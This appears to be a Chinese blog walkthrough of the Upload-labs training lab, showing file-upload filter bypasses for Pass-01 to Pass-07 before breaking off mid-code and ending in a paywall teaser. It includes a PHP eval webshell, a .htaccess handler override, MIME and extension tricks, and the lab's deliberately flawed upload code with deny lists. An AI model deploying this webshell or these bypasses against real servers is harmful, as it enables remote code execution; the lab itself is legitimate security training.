Upload-labs
Pass-01
JS前端绕过
上传一句话木马,内容为
<?php
@eval($_REQUEST["cmd"]);
?>
然后上传shell.php

通过弹窗可以判断出是JS前端验证,众所周知,前端验证等于不存在

从form表单可以看出他在使用了onsubmit这个函数触发了鼠标的单击事件

表单提交后,调用了return checkfile这个函数对上传的文件进行检查
方法一:
创建一个新的html文件,将页面的源代码复制下来,进行修改删除操作禁用掉里面的js脚本

讲此函数及其内容删除

然后在删除onsubmit="return checkFile()"的地方添加,也就是第一关的提交地址
action="http://127.0.0.1/upload-labs/Pass-01/index.php"

方法二:
直接在浏览器中修改前端代码
也就是在此界面直接将return checkFile()删掉

删除

但是这种做法有一种风险,可能会含有一些正常的js,如果把正常的js删掉会影响正常的上传操作
方法三:
burp抓包修改
上传前,随便使用一张图片格式的照片进行上传比如1.png 使用bp进行拦截,将filename=cmd.jpg 修改成cmd.php 并且把 图片的内容进行替换,替换成一句话木马绕过

然后去访问cmd.php,上传成功

这里路径自己判断一下,我把靶场的上传路径变成了当前文件夹,所以路径就是
http://127.0.0.1/upload-labs/Pass-01/cmd.php
靶场默认的路径是../upload
Pass-02
MIME绕过
直接上传php文件会被检测到

通过源代码可以看出后端是对MIME类型进行校验

利用burp抓包,修改MIME类型

修改为image/jpeg,上传成功

Pass-03
特殊解析后缀绕过
上传shell.php文件失败,是后端验证

通过代码可以看出是黑名单过滤

只过滤掉了这几种特定的后缀,那我们可以通过php的别名来绕过过滤
php开发了这么久了,不止只有这一个文件名,我们可以使用其他的php的别名进行绕过:.php3 .php4 .php5 .phtml .phtm .phps .phpt .php345 (但是这里是有前提条件的)就是对方的服务器的配置有对这些php其他的文件名配置了解析的设置,否认就算你上传上去了,还是解析失败。
所以可以上传.phtml后缀的php文件

可以看到上传成功

Pass-04
.htaccess解析文件绕过

这里基本把和php有关的后缀名全部过滤了,但是没有对.htaccess进行验证,所以我们可以用.htaccess进行绕过
.htaccess功能介绍:htaccess文件是Apache服务器中的一个配置文件。这个文件可以不用获得root权限,就可以更改这个目录下的所有的文件配置。那么说明只要创建一个.htaccess的文件,并且写入php的 配置,上传到这个服务器上,那么这个.htaccess所在的目录下的所有文件的配置就会都修改成转换成php的解析格式。(.htaccess文件只对Apache服务器有效)。
首先创建一个.htaccess文件并写入
<FilesMatch "jpg">
SetHandler application/x-httpd-php
</FilesMatch>
然后上传该文件

将一句话木马文件改为jpg格式,然后上传

访问cmd.jpg就可显示phpinfo信息
Pass-05
源码如下
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
这里和之前的源码对比一下,可以发现没有使用strtolower()函数,也就是把后缀都转化为小写,那么我们就可以使用大小写的方式进行绕过
先上传shell.php,然后利用burp抓包,后缀改为PHP

访问shell.php来getshell

Pass-06
空格绕过
源码如下
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
if (!in_array($file_ext, $deny_ext)) {
if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $UPLOAD_ADDR . '/' . $_FILES['upload_file']['name'])) {
$img_path = $UPLOAD_ADDR . '/' . $file_name;
$is_upload = true;
}
} else {
$msg = '此文件不允许上传';
}
} else {
$msg = $UPLOAD_ADDR . '文件夹不存在,请手工创建!';
}
}
从源码中可以看出没有对文件名后缀的空格使用trim()进行过滤
trim():去除左右两侧的空白
借助windows系统的特性,文件名中的空格在最后保存文件时会被作为空处理,最后在保存的时候把后面的空格自动删除掉。
所以我们可以上传文件,在文件最后添加一个空格,即

上传成功
Pass-07
点绕过
源码如下
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists($UPLOAD_ADDR)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name =

本文围绕Upload-labs展开,介绍了多关文件上传绕过方法。如JS前端绕过、MIME绕过、特殊解析后缀绕过等。涉及前端代码修改、burp抓包、利用系统特性等手段,还提及图片马制作、二次渲染处理、条件竞争利用等,最后指出文件上传漏洞实战较少。
最低0.47元/天 解锁文章
2万+

被折叠的 条评论
为什么被折叠?



